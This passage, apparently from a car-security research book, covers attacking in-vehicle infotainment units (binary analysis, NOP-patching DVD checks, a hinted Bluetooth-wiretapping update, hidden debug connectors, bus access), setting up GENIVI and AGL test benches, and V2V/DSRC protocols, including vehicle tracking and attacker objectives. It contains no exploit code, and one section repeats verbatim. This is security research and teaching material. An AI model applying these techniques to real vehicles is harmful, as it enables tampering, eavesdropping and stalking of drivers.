screens, or achieve other exploitation, you’ll often find that you can get 
the information you need to exploit or modify a vehicle by going after IVI 
applications rather than the IVI operating system itself. Some systems allow 
third-party applications to be installed on the IVI, often through an app 
store or a dealer-customized interface. For example, you’ll notice there’s 
usually a way for developers to sideload apps for testing. Modifying an 
existing plugin or creating your own can be a great way to execute code to 
further unlock a system. Because standards are still being written to define 
how applications should interface with the vehicle, every manufacturer is 
free to implement its own API and security models. These APIs are often 
ripe for abuse.
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Identifying Vulnerabilities
Once you’ve found out how to update your system—whether by modifying 
the splash screen, company logo, warranty message, or other item—you’re 
ready to look for vulnerabilities in the system. Your choice of how to pro-
ceed will depend on your ultimate goal. 

If you’re looking for existing vulnerabilities in the infotainment unit, 
the next step is to pull all the binaries off the IVI so you can analyze them. 
(This research is already covered in great detail in several books about 
reverse engineering, so I won’t go into detail here.) Check the versions 
of binaries and libraries on the system. Often, even in the case of map 
updates, the core OS is rarely updated, and there’s a good chance that an 
already identified vulnerability exists on the system. You may even find an 
existing Metasploit exploit for the system!

If your goal is, for example, to create a malicious update that wiretaps 
a vehicle’s Bluetooth driver, you have almost everything you need at this 
stage to do so. The only piece you may still need is the software develop-
ment kit (SDK), which you use to compile the target system. Getting your 
hands on one will make your task much easier, although it’s still possible 
to create or modify a binary using a hex editor instead. Often the info-
tainment OS is built with a standard SDK, such as the Microsoft Auto 
Platform.

For example, consider a navigation system with certain protections 
designed to prevent a customer from using a DVD-R in the system. The 
manufacturer’s original idea was to charge owners $250 to purchase 
updated mapping DVDs, and they wanted to prevent people from simply 
copying someone else’s DVD. 

In its attempt to prevent this type of sharing, the manufacturer added 
several DVD checks to the navigation system, as shown in the IDA display 
sample code in Figure 9-3. But say as a consumer you want to use a backup 
copy of your purchased DVD in your system rather than the original 
because your car gets really hot during the day and you don’t want the 
DVD to warp. 

While an ordinary consumer isn’t likely to be able to bypass these DVD 
checks, it would be possible to locate the DVD checks and replace them 
with no-operation instructions (NOPs), which would make the checks liter-
ally do nothing. Then you could upload this modified version of the DVD 
check to your IVI and use your backup DVD for navigation.

N O T E 	 All the hacks mentioned so far can be done without removing the unit. However, you 
could dig even deeper by taking the unit out and going after the chips and memory 
directly, as discussed in Chapter 6.
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of binaries and libraries on the system. Often, even in the case of map 
updates, the core OS is rarely updated, and there’s a good chance that an 
already identified vulnerability exists on the system. You may even find an 
existing Metasploit exploit for the system!

If your goal is, for example, to create a malicious update that wiretaps 
a vehicle’s Bluetooth driver, you have almost everything you need at this 
stage to do so. The only piece you may still need is the software develop-
ment kit (SDK), which you use to compile the target system. Getting your 
hands on one will make your task much easier, although it’s still possible 
to create or modify a binary using a hex editor instead. Often the info-
tainment OS is built with a standard SDK, such as the Microsoft Auto 
Platform.

For example, consider a navigation system with certain protections 
designed to prevent a customer from using a DVD-R in the system. The 
manufacturer’s original idea was to charge owners $250 to purchase 
updated mapping DVDs, and they wanted to prevent people from simply 
copying someone else’s DVD. 

In its attempt to prevent this type of sharing, the manufacturer added 
several DVD checks to the navigation system, as shown in the IDA display 
sample code in Figure 9-3. But say as a consumer you want to use a backup 
copy of your purchased DVD in your system rather than the original 
because your car gets really hot during the day and you don’t want the 
DVD to warp. 

While an ordinary consumer isn’t likely to be able to bypass these DVD 
checks, it would be possible to locate the DVD checks and replace them 
with no-operation instructions (NOPs), which would make the checks liter-
ally do nothing. Then you could upload this modified version of the DVD 
check to your IVI and use your backup DVD for navigation.

N O T E 	 All the hacks mentioned so far can be done without removing the unit. However, you 
could dig even deeper by taking the unit out and going after the chips and memory 
directly, as discussed in Chapter 6.
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Attacking the IVI Hardware
If you’re more comfortable attacking hardware than software and you’re 
able to remove the IVI from the target vehicle, you can go after the IVI 
system hardware instead. For that matter, if you’ve had no luck accessing 
the IVI system software, a hardware attack might provide additional insight 
that’ll help you find a way in. You’ll sometimes find that you can access 
system security keys by attacking the hardware when something like the 
update method mentioned earlier fails.

Dissecting the IVI Unit’s Connections
If you’re unable to gain access to a vehicle’s system through the update 
method discussed in the previous section, you can attack the IVI’s wiring 
and bus lines. Your first step will be to remove the IVI unit and then trace 
the wires back to the circuit board in order to identify its components and 
connections, like the ones shown in Figure 9-4.

Figure 9-4: Connector view of a double DIN IVI unit

When you take your IVI unit out, you’ll see a lot of wires because, unlike 
aftermarket radios, OEM units are heavily connected to the vehicle. The back 
metal panel on the IVI usually doubles as a heat sink, and each connector is 
often separated by its functionality. (Some vehicles keep the Bluetooth and 
cellular piece in another module, so if you’re looking to research a wireless 
exploit and the IVI unit doesn’t have this wireless module, continue looking 
for the telematics module.)

By tracing the actual wires or looking at a wiring diagram like the one 
shown in Figure 9-5, you can see that the Bluetooth module is actually 
a separate piece from the navigation unit (IVI). Notice in the diagram 
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that the Bluetooth unit uses CAN (B-CAN) on pin 18. If you look at the 
navigation unit’s wiring diagram, you can see that instead of CAN, K-Line 
(pin 3) is directly attached to the IVI unit. (We discussed these protocols 
in Chapter 2.)

Figure 9-5: Hands-free wiring diagram

If you can determine whether your target is connected to a network 
bus, you’ll know just how much your exploit can control. At the very least, 
the bus directly connected to the target can be influenced by any code you 
put on the target system. For instance, in the wiring examples shown in 
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Figure 9-5, a vulnerability in the Bluetooth module would give us direct 
CAN access; however, if we exploited the IVI’s navigation system, we’d need 
to use K-Line instead (see Figure 9-6). You can tell which network you have 
access to by looking at the wiring diagram in Figure 9-5 and seeing whether 
K-Line or CAN are connected to your target device. Which bus you’re on 
will affect your payload and what networked systems you’ll be able to influ-
ence directly.
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Figure 9-6: K-Line specified in the wiring diagram for the navigation unit

Disassembling the IVI Unit
If your goal is to directly attack the system hardware or if you don’t have a 
wiring diagram showing the connections to the entertainment unit, you’ll 
need to start taking the unit apart. Because IVI units are really compact 
and they bundle a lot of functionality into a small area, taking them apart 
means removing lots of screws and several layers of connected circuit boards. 
The disassembly task is time consuming and complicated and should prob-
ably be your last resort.  

To begin disassembly, start by removing the case. Each unit comes apart 
differently, but typically you can remove the front and back plate screws and 
then work your way down from the top. Once inside, you’ll most likely find a 
circuit board like the one shown in Figure 9-7.

Although the print on the circuit board is a little hard to read, you’ll 
probably find that many of the pins are labeled. Pay close attention to any 
connectors that are attached to the circuit board but not connected or 
that are covered by the heat sink. You’ll often find that certain connectors 
used during the manufacturing process are left behind, disconnected on 
the circuit board. These can be a great way in to the IVI unit. For example, 
Figure 9-8 shows a hidden connector revealed once the back panel was 
removed on the target IVI.

Hidden connectors are a great place to start when going after a device’s 
firmware. These connectors often have methods to load and debug the firm-
ware running on the systems, and they can also provide serial-style debug-
ging interfaces that you can use to see what’s happening with the system. In 
particular, you should look for JTAG and UART interfaces.
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Figure 9-7: Many pins and connectors are labeled directly on the PCB.

Figure 9-8: Nonexposed hidden connector
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At this stage, you should start tracing the pins and looking at data sheets 
for the onboard chips. After a bit of sleuthing as to where these pins connect, 
you should have a better idea of what you’re dealing with and the intended 
purpose of this hidden connector. (See Chapter 8 for more on analyzing cir-
cuit boards and reverse engineering hardware.)

Infotainment Test Benches
Instead of tampering with your own factory-installed entertainment unit and 
risking damage, you can experiment with a test bench system, whether that’s 
one from a junkyard or an open source development platform. (Aftermarket 
radios aren’t a good choice because they don’t usually tie into the CAN bus 
network.) In this section, we’ll look at two open source entertainment sys-
tems that you can run in a VM on a PC, the GENIVI demo platform, and 
Automotive Grade, which requires an IVI.

GENIVI Meta-IVI
The GENIVI Alliance (http://www.genivi.org/) is an organization whose main 
objective is to drive the adoption of open source IVI software. Membership is 
paid, but you can download and participate in the GENIVI software projects 
for free. Membership, especially board-level membership, in GENIVI is very 
costly, but you can join the mailing list to participate in some of the devel-
opment and discussions. The GENIVI system can be run directly on Linux 
with no need for an IVI. It’s basically a collection of components that you 
can use to build your own IVI.

In Figure 9-9, a high-level block diagram of the GENIVI system shows 
how the pieces fit together.

The GENIVI demo platform has some basic human–machine interface 
(HMI) functionality: the FSA PoC stands for fuel stop advisor proof-of-concept 
(proof of concept because certain of these apps aren’t used in production). 
The FSA is part of the navigation system and is designed to alert drivers 
if they are going to run out of fuel before reaching their destination. The 
Web browser and audio manager PoCs should be self-explanatory. Another 
component not shown in the figure is the navigation app. This app is pow-
ered by the open source Navit project (http://www.navit-project.org/) and uses 
a plugin for the freely licensed OpenStreetMap mapping software (https://
www.openstreetmap.org/).

The GENIVI’s middleware components make up the core GENIVI 
operating system, and they’re discussed here in the order in which they 
appear in Figure 9-9 (persistency is excluded since there isn’t currently any 
documentation on this module):

Diagnostic log and trace (DLT)  An AUTOSAR 4.0–compatible log-
ging and tracing module. (Autosar is simply an automotive standards 
group; see https://www.autosar.org/.) Some features of the DLT can use 
TCP/IP, serial communications, or standard syslog.

http://www.genivi.org/
http://www.navit-project.org/
https://www.openstreetmap.org/
https://www.openstreetmap.org/
https://www.autosar.org/
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Node state manager (NSM)  Keeps track of the vehicle’s running state 
and is responsible for shutdown and for monitoring system health.

Node startup controller (NSC)  Part of the NSM persistence. Handles 
all data stored on a hard drive or flash drive.

Audio manager daemon  The audio hardware/software abstraction 
layer.

Audio manager plugins  Part of the audio manager daemon.

Webkit  Web browser engine.

Automotive message broker (AMB)  Allows an application to access 
vehicle information from the CAN bus without having to know the spe-
cific CAN bus packet layouts. (The system you’re talking to must sup-
port OBD or AMB directly in order for this to work.)
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Figure 9-9: GENIVI software layout

Building the Environment

The easiest way to build the GENIVI system on Linux is to use a Docker 
image. First, grab the easy build like this:

$ git clone https://github.com/gmacario/easy-build

N O T E 	 This Docker image won’t work on the eCryptfs filesystem that Ubuntu uses on home 
directories, so make sure to download and follow these instructions outside your 
default home directory.  
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You’ll need Docker installed if you don’t already have it. On Ubuntu, 
this command is:

$ sudo apt-get install docker.io

Then, cd into the easy-build/build-yocto-genivi folder in your Home direc-
tory and run this:

$ sudo docker pull gmacario/build-yocto-genivi
$ sudo ./run.sh

Docker builds a little VM for you to work in, and running run.sh should 
put you in a root terminal environment in the Docker instance.

Now, finish the install by getting the rest of the GENIVI build and 
creating an image that you can use in the QEMU VM. Run the following 
commands:

# chmod a+w /dev/shm
# chown build.build ~build/shared
# su - build
$ export GENIVI=~/genivi-baseline
$ source $GENIVI/poky/oe-init-build-env ~/shared/my-genivi-build
$ export TOPDIR=$PWD
$ sh ~/configure_build.sh
$ cd $TOPDIR
$ bitbake -k intrepid-image

The output of the final bitbake command should look something 
like this:

Build Configuration:
BB_VERSION        = "1.24.0"
BUILD_SYS         = "x86_64-linux"
NATIVELSBSTRING   = "Ubuntu-14.04"
TARGET_SYS        = "i586-poky-linux"
MACHINE           = "qemux86"
DISTRO            = "poky-ivi-systemd"
DISTRO_VERSION    = "7.0.2"
TUNE_FEATURES     = "m32 i586"
TARGET_FPU        = ""
meta              
meta-yocto        
meta-yocto-bsp    = "(detachedfromdf87cb2):df87cb27efeaea1455f20692f9f1397c6fcab254"
meta-ivi          
meta-ivi-bsp      = "(detachedfrom7.0.2):54000a206e4df4d5a94db253d3cb8a9f79e4a0ae"
meta-oe           = "(detachedfrom9efaed9):9efaed99125b1c4324663d9a1b2d3319c74e7278"

As of this writing, the build process errors out on fetching the Bluez 
package. 
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Remove the following file, and try bitbake again:

$ rm /home/build/genivi-baseline/meta-ivi/meta-ivi/recipes-connectivity/bluez5/bluez5_%.bbappend

Once everything is finished, you should have images in your tmp/deploy/
images/qemux86/ folder.

Now you’re ready to run your image in an emulator. For ARM emula-
tion, run this:

$ $GENIVI/meta-ivi/scripts/runqemu horizon-image vexpressa9

For x86, use this command:

$ $GENIVI/poky/scripts/runqemu horizon-image qemux86

And this command is for x86-64:

$ $GENIVI/poky/scripts/runqemu horizon-image qemux86-x64

You should now be ready to research a GENIVI-based IVI system. As 
you’ve seen, the steps can be a bit daunting. The most difficult part of work-
ing on GENIVI is getting it up and running. Once you have a system to look 
at, you can pick any executable to begin your security audit.

Automotive Grade Linux
Automotive Grade Linux (AGL) is an IVI system that you can run on a physical 
IVI unit. Unlike GENIVI, AGL doesn’t have a costly board structure. AGL’s 
goals are similar to those of GENIVI: it’s trying to build an open source 
IVI unit as well as other related parts, such as telematics and instrument 
clusters.

As of this writing, you should be able to find a demo image of AGL for 
VMware (last released in 2013), installation instructions, and a bootable 
USB version for x86 at the AGL website (http://automotivelinux.org/). These 
images are designed to run on in-vehicle computer hardware, like the 
Nexcom VTC-1000, a headless Linux device that comes with CAN and 
touchscreens. Unlike the GENIVI project, the AGL demonstration images 
are mainly designed and tested to run on hardware, although it may be pos-
sible to run some development images in a VM.

As you can see in Figure 9-10, the AGL demonstration image has a 
very pretty interface, but don’t expect all applications to run smoothly, 
as many are simply placeholders that are actively being built. Because 
AGL is normally tested on physical hardware, you’ll have to spend around 
$1,000 to get the hardware necessary to install AGL smoothly. It’s also 
possible to get an image to run on a QEMU VM as well. (One nice thing 
about buying a development IVI is that you can program it to work with 
any vehicle.)

http://automotivelinux.org/
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Figure 9-10: Automotive Grade Linux sample screens

Acquiring an OEM IVI for Testing
If you decide to run a physical IVI unit for testing, you’ll have to either 
pull a factory (OEM) IVI system from an existing vehicle or buy a develop-
ment IVI, such as the Nexcom VTC-1000 or a model like those referenced 
in the Tizen hardware compatibility list (https://wiki.tizen.org/wiki/IVI/
IVI_Platforms). 

If you choose to go the OEM factory-installed route, you can buy one 
from the dealership or pull one from a junkyard. Development and OEM 
IVI units purchased directly from a dealership will typically run from $800 
to $2,000, so it’s much more cost-effective to pull one from a junkyard, 
though it may be difficult to find your target high-end IVI system. You can 
also buy non-OEM aftermarket units, such as Kenwood or Pioneer, which—
while often cheaper—typically won’t tie into a vehicle’s CAN system.

Unfortunately, pulling a radio out of a modern vehicle without destroy-
ing it isn’t an easy task. You’ll often need to remove the plastic around the 
gauge cluster on the dashboard and the plastic around the radio before you 
can remove the radio from its harness. If you run into an antitheft security 
code for the radio, check the owner’s manual for the code, if you’re lucky 
enough to find that. If you can’t find the code, be sure to grab the VIN 

https://wiki.tizen.org/wiki/IVI/IVI_Platforms
https://wiki.tizen.org/wiki/IVI/IVI_Platforms
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from the donor vehicle because you might need it to get or reset the anti-
theft PIN. (If you grabbed the ECU from the vehicle, remember you can 
query that to get the VIN as well.)

You’ll need to refer to the wiring diagram for your IVI system in order 
to get it to start on its own, but you can leave out most of the wires that 
you’re not testing. If you’re building an OEM-based unit, it may be worth 
your while to completely disassemble the unit and to connect any test con-
nectors so that you’ll not only have the normal IVI system running but also 
be able to access any of the hidden connectors.

Summary
You should now be comfortable analyzing your existing radio system. We’ve 
covered how to safely work in a VM or test environment to find vulnerabilities 
in IVI systems. These systems hold a lot of code and are the most powerful 
electronic systems in a vehicle. Mastery of the IVI units will give you full 
control of your target, and there’s no part of a vehicle with a greater con-
centration of attack surface than the IVI system. When performing security 
research, an IVI and telematics system will provide you with the most valu-
able vulnerabilities, and you’ll find that the vulnerabilities found in these 
systems will often be remote or wireless and directly connected to the 
vehicle’s bus lines. 
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V eh  i c l e - to  - V eh  i c l e 

C o m m u n i cat   i on

The latest trend in vehicle technology is 
vehicle-to-vehicle (V2V) communication—or 

in the case of vehicles communicating 
with roadside devices, vehicle-to-infrastructure 

(V2I) communication. V2V communication is primarily 
designed to communicate safety and traffic warnings 
to vehicles through a dynamic mesh network between vehicles and road-
side devices called the intelligent transportation system. This mesh connects 
various nodes—vehicles or devices—in the network and relays informa-
tion between them. 

The promise of V2V is so great that in February 2014 the US Department 
of Transportation announced its desire to implement a mandate requiring 
that V2V-based communication be included in all new light vehicles, though 
as of this writing nothing has been finalized.

V2V is the first automotive protocol to consider cybersecurity threats at 
the design stage, rather than after the fact. The details of V2V implementa-
tion and interoperation between countries are still being determined, so 
many processes and security measures are still undecided. Nevertheless, in 
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this chapter, we’ll review the current design considerations in an attempt to 
offer guidelines for what to expect. We’ll detail the thinking behind differ-
ent approaches and discuss the types of technologies likely to be deployed 
in the V2V space. We’ll also discuss several protocols used in V2V commu-
nications and the types of data they’ll transmit, and we’ll review V2V’s secu-
rity considerations as well as areas for security researchers to focus on. 

N O T E 	 Because this chapter focuses on a technology yet to be implemented, we won’t cover the 
reasons behind various features, nor will we discuss the ways that manufacturers can 
implement each feature because all of that detail is subject to change. 

Methods of V2V Communication
In the world of V2V communication, vehicles and roadside devices interact 
in one of three ways: via existing cellular networks; using dedicated short-
range communication (DSRC), which is a short-range communication proto-
col; or via a combination of communication methods. In this chapter we’ll 
focus on DSRC, as it’s the most common method of V2V communication.

Cellular Networks
Cellular communication doesn’t require roadside sensors, and existing 
cellular networks already have a security system in place, so communica-
tion can rely on security methods provided by the cellular carriers. The 
security provided by cellular networks is at the wireless level (GSM), not 
the protocol level. If the connected device is using IP traffic, then stan-
dard IP security, such as an encryption and reduction of attack surfaces, 
still needs to be applied.

DSRC
DSRC requires the installation of specialized equipment in modern 
vehicles and new roadside equipment. Because DSRC is designed 
specifically for V2V communication, security measures can be imple-
mented prior to widespread adoption. DSRC is also more reliable 
than cellular communication, with lower latency. (See “The DSRC 
Protocol” on page 179 for more on DSRC.)

Hybrid
The hybrid approach combines cellular networks with DSRC, Wi-Fi, 
satellite, and any other communication that makes sense, such as future 
wireless communication protocols.

In this chapter, we’ll focus on DSRC because it’s unique to the V2V 
infrastructure. The DSRC protocol will be the main protocol deployed 
by V2V, and you may see it mixed with other communication methods. 

N O T E 	 You can use traditional methods to analyze communication, such as cellular, Wi-Fi, 
satellite, and so on. Evidence of these signals communicating doesn’t necessarily 
mean the vehicle is using V2V communication. However, if you see DSRC being 
transmitted, you’ll know that V2V has been implemented in that vehicle.
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The DSRC Protocol
DRSC is a one- or two-way short-range wireless communication system spe-
cifically built for vehicle communications between vehicles and roadside 
devices, or from vehicle to vehicle. 

DSRC operates in the 5.85 to 5.925 GHz band reserved for V2V and V2I. 
The transmit power used by a DSRC device will dictate its range. Roadside 
equipment can transmit at higher-power ranges, allowing up to a 1,000 m 
specification, while vehicles can broadcast only at a power level that provides 
closer to 300 m ranges. 

DSRC is based on the wireless 802.11p and 1609.x protocols. DSRC- 
and Wi-Fi-based systems, such as wireless access for vehicle environments 
(WAVE), use IEEE 1609.3 specification or the WAVE short-message proto-
col (WSMP). These messages are single packets with no more than 1,500 
bytes and typically less than 500 bytes. (Network sniffers such as Wireshark 
can decode WAVE packets, which allows for easy sniffing of traffic.)

DSRC data rates depend on the number of users accessing the local 
system at the same time. A single user on the system would typically see data 
rates of 6 to 12Mbps, while users in a high-traffic area—say, an eight-lane 
freeway—would likely see 100 to 500Kbps. A typical DSRC system can handle 
almost 100 users in high-traffic conditions, but if the vehicles are travel-
ing around 60 km/h, or 37 mph, it’ll usually support around only 32 users. 

F un w i th  V 2V Acron y ms

The auto industry loves acronyms as much as any government does, and V2V 
is no exception. In fact, the lack of any universal V2V standard between coun-
tries means that the world of V2V acronyms can be especially messy because 
there’s little consistency and a good dose of confusion. To help you out, here 
are some acronyms that you’ll run into when researching V2V-related topics: 

ASD  Aftermarket safety device
DSRC  Dedicated short-range communication
OBE  Onboard equipment
RSE  Roadside equipment
SCMS  Security Credentials Management System
V2I, C2I  Vehicle-to-infrastructure, or car-to-infrastructure (Europe)
V2V, C2C  Vehicle-to-vehicle, or car-to-car (Europe)
V2X, C2X  Vehicle-to-anything, or car-to-anything (Europe)
VAD  Vehicle awareness device
VII, ITS  Vehicle infrastructure integration, intelligent transportation system
WAVE  Wireless access for vehicle environments
WSMP  WAVE short-message protocol
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(These data rates are estimated from the Department of Transportation’s 
paper “Communications Data Delivery System Analysis for Connected 
Vehicles.”1)

The number of channels dedicated to the 5.9 GHz range of the DSRC 
system varies between countries. For example, the US system is designed to 
support seven channels with one channel that acts as a dedicated control 
channel reserved for sending short high-priority management packets. The 
European design supports three channels with no dedicated control chan-
nel. This disparity is largely due to the fact that each country has different 
drivers for the technology: Europe’s system is market driven, while the US 
system has a strong vehicle safety initiative behind it. Therefore, while the 
protocols will interoperate, the types of messages supported and sent will 
differ significantly. (In Japan, DSRC is currently being used for toll collec-
tion, but the Japanese are also planning to use a 760 MHz band for crash 
avoidance. The Japanese 5.8 GHz channels don’t use 802.11p, but they 
should still support the 1609.2 V2V security framework.)

N O T E 	 While both Europe and the United States use 802.11p with ECDSA-256 encryption, 
the two systems are not 100 percent compatible. As of this writing, they incorporate 
various technical differences, such as where the signing stack is placed in the packet. 
There’s no good technical reason for this lack of standardization, so this will hopefully 
be fixed before widespread adoption.

Features and Uses
All DSRC implementations offer convenience and safety features, but their 
features differ. For example, the European DSRC system will use DSRC for 
the following:

Car sharing  Would work like today’s vehicle sharing, such as car2go, 
except that instead of using a third-party vehicle dongle attached to the 
OBD-II connector to control the vehicle, it would use the V2I protocols

Connections to points of interest  Similar to the points of interest, 
such as restaurants or gas stations, in a traditional navigation system 
but would be broadcast to passing vehicles

Diagnostics and maintenance  Would report the reason why a vehicle’s 
engine light is on via DSRC instead of having to read codes from an 
OBD connector

Driving profiles for insurance purposes  Would replace insurance-
style dongles that record driving behavior

Electronic toll notification  Would allow for automated payments at 
toll booths (already being tested in Japan)

1. James Misener et al., Communications Data Delivery System Analysis: Task 2 Report: High-Level 
Options for Secure Communications Data Delivery Systems (Intelligent Transportation System Joint 
Program Office, May 16, 2012), http://ntl.bts.gov/lib/45000/45600/45615/FHWA-JPO-12-061_
CDDS_Task_2_Rpt_FINAL.pdf

http://ntl.bts.gov/lib/45000/45600/45615/FHWA-JPO-12-061_CDDS_Task_2_Rpt_FINAL.pdf
http://ntl.bts.gov/lib/45000/45600/45615/FHWA-JPO-12-061_CDDS_Task_2_Rpt_FINAL.pdf
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Fleet management  Would allow for the monitoring of fleets of vehicles, 
such as those used for trucking and transportation services

Parking information  Would record duration of parking and could 
displace traditional parking meters 

Security-driven areas like the United States are more concerned with 
communicating warnings about things like the following: 

Emergency vehicles approaching  Would notify vehicles of an 
approaching emergency vehicle

Hazardous locations  Would warn drivers of hazards, such as an icy 
bridge or road surface, or falling rocks

Motorcycle approaches  Would signal the approach of a passing 
motorcycle

Road works  Would notify drivers of upcoming construction

Slow vehicles  Would provide early notification of traffic congestion or 
traffic slowdowns due to slow-moving farm or oversized vehicles

Stationary (crash) vehicles  Would warn of vehicles that have broken 
down or were in a recent collision

Stolen vehicle recovery  Might work similarly to a LoJack-like service 
in that it would allow law enforcement to locate a stolen vehicle based 
on a radio beacon

Additional types of communication categories that could be imple-
mented via DSRC include traffic management; law enforcement, such as 
communicating speeds or tracking vehicles; driver assistance, such as park-
ing assistance or lane guidance; and highway automation projects, such as 
self-driving vehicles that use V2I roadways to assist in guidance.

Roadside DSRC Systems
Roadside DSRC systems are also used to pass standardized messages and 
updates to vehicles with information such as traffic data and hazard or road 
works warnings. The European Telecommunications Standards Institute 
(ETSI) has designed two formats for continuous traffic data, both of which 
use 802.11p: the cooperative awareness message (CAM) and the decentral-
ized environmental notification message (DENM). 

CAMs for Periodic Vehicle Status Exchanges

CAMs are broadcast periodically through the V2X network. ETSI defines the 
packet size of a CAM as 800 bytes and the reporting rate at 2 Hz. This proto-
col is still in its preliminary stages. If you encounter CAMs in the future, they 
may vary from the proposal, but we’re including the current proposed char-
acteristics to give you a sense of what you can expect from the CAM protocol 
in the future.

CAM packets consist of an ITS PDU header and station ID as well as 
one or more station characteristics and vehicle common parameters.
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Station characteristics may include the following: 

•	 Mobile ITS station

•	 Physical relevant ITS station

•	 Private ITS station

•	 Profile parameters

•	 Reference position

Vehicle common parameters may consist of the following:

•	 Acceleration

•	 Acceleration confidence

•	 Acceleration controllability

•	 Confidence ellipse

•	 Crash status (optional)

•	 Curvature

•	 Curvature change (optional)

•	 Curvature confidence

•	 Dangerous goods (optional)

•	 Distance-to-stop line (optional)

•	 Door open (optional)

•	 Exterior lights

•	 Heading confidence

•	 Occupancy (optional)

•	 Station length

•	 Station-length confidence (optional)

•	 Station width

•	 Station-width confidence (optional)

•	 Turn advice (optional)

•	 Vehicle speed

•	 Vehicle-speed confidence

•	 Vehicle type

•	 Yaw rate

•	 Yaw rate confidence

Although some of these parameters are marked as optional, they’re actu-
ally mandatory in certain situations. For example, a basic vehicle profile—
station ID of 111 in binary—must report crash status and whether the vehicle 
is carrying dangerous goods, if known. An emergency vehicle—station ID 
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of 101 in binary—must report whether its lights and sirens are in use. Public 
transportation vehicles—station ID also 101—are required to report when 
their entry door is open or closed and may also report schedule deviation 
and occupancy count.

DENMs for Event-Triggered Safety Notifications

DENMs are event-driven messages. While CAMs are periodically sent so 
that they’re regularly updated, DENMs are triggered by safety and road 
hazard warnings. Messages might be sent in cases of:

•	 Collision risks (determined by roadside devices)

•	 Entering hazardous locations

•	 Hard braking

•	 High wind levels

•	 Poor visibility

•	 Precipitation

•	 Road adhesion

•	 Road work

•	 Signal violations

•	 Traffic jams

•	 Vehicles involved in an accident

•	 Wrong-way driving

These messages stop either when the condition that triggered them is 
gone or after a set expiry period. 

DENMs can also be sent to cancel or negate an event. For instance, if 
roadside equipment identified that a vehicle was going the wrong way down 
a street, it could send an event to notify nearby drivers. Once that driver 
had moved the vehicle into the proper lane, the equipment could send a 
cancel event to signal that the risk had passed.

Table 10-1 shows the packet structure and byte position of a DENM 
packet.

Table 10-1: Packet Structure and Byte Position of a DENM Packet

Container Name Byte start 
position

Byte end 
position

Notes

ITS Header Protocol Version 1 1 ITS Version

Message ID 2 2 Message Type

Generation Time 3 8 Timestamp
(continued)
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Table 10-1 (continued)

Container Name Byte start 
position

Byte end 
position

Notes

Management Originator ID 9 12 ITS Station ID

Sequence Number 13 14

Data Version 15 15 255 = Cancel

Expiry Time 16 21 Timestamp

Frequency 21 21 Transmission Frequency

Reliability 22 22 Probability event is true. 
Bit 1..7

IsNegation 22 22 1 == Negate. Bit 0

Situation CauseCode 23 23

SubCauseCode 24 24

Severity 25 25

Location Latitude 26 29

Longitude 30 33

Altitude 34 35

Accuracy 36 39

Reserved 40 n Variable size

There are optional messages as well. For example, the situation con-
tainer could include TrafficFlowEffect, LinkedCause, EventCharacteristics, 
VehicleCommonParameters, and ProfileParameters, just as in the CAN structure.

WAVE Standard
The WAVE standard is a DSRC-based system used in the United States 
for vehicle packet communication. The WAVE standard incorporates the 
802.11p standard as well as the range of 1609.x standards across the OSI 
model. The purposes of these standards are as follows:

802.11p  Defines the 5.9 GHz WAVE protocol (a modification of the 
Wi-Fi standard); also has random local MAC addressing

1609.2  Security services

1609.3  UDP/TCP IPv6 and LLC support

1609.4  Defines channel usage

1609.5  Communication manager

1609.11  Over-the-air electronic payment and data exchange protocol

1609.12  WAVE identifier

N O T E 	 To explore the WAVE standard in more detail, you can use the OSI numbers in the 
preceding list to pull up the relevant reference documentation online. 
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WSMP is used in both service and control channels. WAVE uses IPv6, 
the most recent Internet protocol, for service channels only. IPv6 is config-
ured by the WAVE management entity (WME) and also handles channel 
assignments and monitors service announcements. (The WME is unique 
to WAVE and handles the overhead and maintenance of the protocol.) 
Control channels are used for service announcements and short messages 
from safety applications. 

WSMP messages are formatted as shown in Figure 10-1.

WSMP
Version PSID Channel

Number
Data
Rate

Transmission
Power

WAVE
Element ID

WAVE
Length

WSMP
Data

Figure 10-1: WSMP message format

The type of application provided by a roadside device, or hosted by 
a vehicle, is defined by the provider service identifier (PSID). The actual 
announcement of a service comes from a WAVE service announcement 
(WSA) packet, the structure of which is shown in Table 10-2.

Table 10-2: WAVE Service Announcement Packet

Section Elements

WSA header WAVE version

EXT Fields

Service Info WAVE Element ID

PSID

Service Priority

Channel Index

EXT Fields

Channel Info WAVE Element

Operating Channel

Channel Number

Adaptable

Data Rate

Transmit Power

EXT. Fields

WAVE Routing Advertisement WAVE Element

Router Lifetime

IP Prefix

Prefix Length

Default Gateway

Gateway MAC

Primary DNS

EXT. Fields
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If the vehicle’s PSID matches that of an advertised PSID, the vehicle will 
begin communications.

Tracking Vehicles with DSRC
One attack that utilizes DSRC communications is vehicle tracking. If attack-
ers can create their own DSRC receiver by buying a DSRC-capable device or 
using software-defined radio (SDR), they could receive information about 
vehicles within the receiver’s range—such as the size, location, speed, direc-
tion, and historical path up to the last 300 m—and use this information to 
track a target vehicle. For example, if an attacker knew the make and model 
of a target vehicle and the size of the target, they could set up a receiver 
near the target’s home to remotely detect when the target moves out of 
range of the DSRC receiver. This would tell the attacker when the owner 
had left their house. This method would allow an attacker to continue to 
track and identify vehicle activity despite the owner’s attempts to obscure 
identifying information. 

Information on vehicle size is transmitted in the following four fields:

•	 Length

•	 Body width

•	 Body height

•	 Bumper height (optional)

This information should be accurate to within a fraction of an inch 
because it’s set by the manufacturer. The attacker could use this size infor-
mation to accurately determine the make and model of a car. For instance, 
Table 10-3 lists the dimensions for a Honda Accord.

Table 10-3: Honda Accord Dimensions

Length Body width Body height Bumper height

191.4 inches 72.8 inches 57.5 inches 5.8 inches

Given these dimensions and a bit more information, such as the esti-
mated time a target might pass a sensor, an attacker could determine 
whether a target has passed a sensor and track that target.

Security Concerns
There are other attack potentials in the implementation of V2V, as was 
investigated by the Crash Avoidance Metrics Partnership (CAMP), a group 
of several auto manufacturers working to conduct different safety-related 
studies, in December of 2010. CAMP performed an attack analysis on 
V2V systems through its Vehicle Safety Consortium (VSC3). The analysis 
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focused primarily on the core DSRC/WAVE protocol, and attempted to 
match attacker objectives with potential attacks. Figure 10-2 shows a sum-
mary of the consortium’s findings by attacker objective.

Cause a false positive to be
presented to a driver

Suppress a message that should
be presented to the driver (i.e.,
cause a false negative)

Cause the system to be made
unreliable, unknown to the driver

Cause the system to be made
unreliable, known to the driver

Collect a set of messages from
other vehicles and use them to
identify a particular vehicle/driver

Prevent the attacker’s own
vehicle from sending a message

Create messages that will be
attributed by the system to a
vehicle that did not send them
Create messages from “ghost”
vehicles to make a target’s
behavior seem more dangerous
than it is, or the attacker’s
behavior seem safer than it is,
from the point of view of an
authority reviewing the record
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Figure 10-2: Attacker objectives crossed with attacks

